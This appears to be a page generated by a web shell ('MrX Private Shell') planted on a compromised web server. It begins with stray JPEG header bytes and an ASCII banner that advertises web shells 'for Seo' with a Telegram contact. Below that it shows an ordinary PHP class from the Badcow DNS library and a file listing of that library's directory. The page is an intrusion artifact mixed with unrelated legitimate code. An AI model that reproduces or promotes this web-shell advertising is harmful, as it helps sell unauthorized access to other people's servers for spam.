����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS\Rdata;
/**
* Used to create RData of types that have not yet been implemented in the library.
*/
class PolymorphicRdata implements RdataInterface
{
/**
* The RData type.
*
* @var string
*/
private $type;
/**
* @var string|null
*/
private $data;
/**
* @var int
*/
private $typeCode = 0;
/**
* PolymorphicRdata constructor.
*/
public function __construct(?string $type = null, ?string $data = null)
{
if (null !== $type) {
$this->setType($type);
}
if (null !== $data) {
$this->setData($data);
}
}
public function setType(string $type): void
{
try {
$this->typeCode = Types::getTypeCode($type);
} catch (UnsupportedTypeException $e) {
$this->typeCode = 0;
}
$this->type = $type;
}
public function getType(): string
{
return $this->type;
}
public function setTypeCode(int $typeCode): void
{
$this->typeCode = $typeCode;
}
public function getTypeCode(): int
{
return $this->typeCode;
}
public function setData(string $data): void
{
$this->data = $data;
}
public function getData(): ?string
{
return $this->data;
}
public function toText(): string
{
return $this->getData() ?? '';
}
public function toWire(): string
{
return $this->data ?? '';
}
public function fromText(string $text): void
{
$this->setData($text);
}
public function fromWire(string $rdata, int &$offset = 0, ?int $rdLength = null): void
{
$this->setData(substr($rdata, $offset, $rdLength ?? strlen($rdata)));
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| A.php | File | 1.94 KB | 0644 |
|
| AAAA.php | File | 1.07 KB | 0644 |
|
| AFSDB.php | File | 2.2 KB | 0644 |
|
| APL.php | File | 4.12 KB | 0644 |
|
| CAA.php | File | 4.06 KB | 0644 |
|
| CDNSKEY.php | File | 450 B | 0644 |
|
| CDS.php | File | 431 B | 0644 |
|
| CERT.php | File | 5.49 KB | 0644 |
|
| CNAME.php | File | 1.33 KB | 0644 |
|
| CSYNC.php | File | 2.46 KB | 0644 |
|
| DHCID.php | File | 5.65 KB | 0644 |
|
| DLV.php | File | 455 B | 0644 |
|
| DNAME.php | File | 674 B | 0644 |
|
| DNSKEY.php | File | 1.02 KB | 0644 |
|
| DS.php | File | 3.93 KB | 0644 |
|
| DecodeException.php | File | 933 B | 0644 |
|
| Factory.php | File | 17.37 KB | 0644 |
|
| HINFO.php | File | 2.19 KB | 0644 |
|
| HIP.php | File | 4.4 KB | 0644 |
|
| IPSECKEY.php | File | 9.34 KB | 0644 |
|
| KEY.php | File | 3.25 KB | 0644 |
|
| KX.php | File | 2.45 KB | 0644 |
|
| LOC.php | File | 7.36 KB | 0644 |
|
| MX.php | File | 2.46 KB | 0644 |
|
| NAPTR.php | File | 7.06 KB | 0644 |
|
| NS.php | File | 442 B | 0644 |
|
| NSEC.php | File | 4.13 KB | 0644 |
|
| NSEC3.php | File | 8.09 KB | 0644 |
|
| NSEC3PARAM.php | File | 3.65 KB | 0644 |
|
| OPT.php | File | 2.79 KB | 0644 |
|
| PTR.php | File | 4.24 KB | 0644 |
|
| PolymorphicRdata.php | File | 2.02 KB | 0644 |
|
| RP.php | File | 1.82 KB | 0644 |
|
| RRSIG.php | File | 8.04 KB | 0644 |
|
| RdataInterface.php | File | 1.7 KB | 0644 |
|
| RdataTrait.php | File | 803 B | 0644 |
|
| SIG.php | File | 378 B | 0644 |
|
| SOA.php | File | 5.78 KB | 0644 |
|
| SPF.php | File | 432 B | 0644 |
|
| SRV.php | File | 4.61 KB | 0644 |
|
| SSHFP.php | File | 3.36 KB | 0644 |
|
| TA.php | File | 441 B | 0644 |
|
| TKEY.php | File | 7.41 KB | 0644 |
|
| TLSA.php | File | 4.69 KB | 0644 |
|
| TSIG.php | File | 6.5 KB | 0644 |
|
| TXT.php | File | 3.44 KB | 0644 |
|
| Types.php | File | 10.33 KB | 0644 |
|
| URI.php | File | 3.67 KB | 0644 |
|
| UnknownType.php | File | 2.2 KB | 0644 |
|
| UnsupportedTypeException.php | File | 477 B | 0644 |
|